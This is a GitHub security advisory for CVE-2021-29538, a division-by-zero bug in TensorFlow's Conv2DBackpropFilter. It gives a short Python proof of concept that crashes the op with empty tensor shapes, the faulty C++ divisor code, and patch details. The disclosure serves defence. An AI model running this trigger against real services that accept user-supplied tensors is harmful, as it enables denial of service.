Division by zero in `Conv2DBackpropFilter`

Low **mihaimaruseac** published **GHSA-j8qc-5fqr-52fp** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can cause a division by zero to occur in `Conv2DBackpropFilter` :

```
import tensorflow as tf

input_tensor = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
filter_sizes = tf.constant([0, 0, 0, 0], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter(
  input=input_tensor,
  filter_sizes=filter_sizes,
  out_backprop=out_backprop,
  strides=[1, 1, 1, 1],
  use_cudnn_on_gpu=False,
  padding='SAME',
  explicit_paddings=[],
  data_format='NHWC',
  dilations=[1, 1, 1, 1]
)
```

This is because the implementation computes a divisor based on user provided data (i.e., the shape of the tensors given as arguments):

```
const size_t size_A = output_image_size * filter_total_size;
const size_t size_B = output_image_size * dims.out_depth;
const size_t size_C = filter_total_size * dims.out_depth;
const size_t work_unit_size = size_A + size_B + size_C;
const size_t shard_size = (target_working_set_size + work_unit_size - 1) / work_unit_size;
```

If all shapes are empty then `work_unit_size` is 0. Since there is no check for this case before division, this results in a runtime exception, with potential to be abused for a denial of service.

Patches

We have patched the issue in GitHub commit c570e2ecfc822941335ad48f6e10df4e21f11c96.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29538

Weaknesses

No CWEs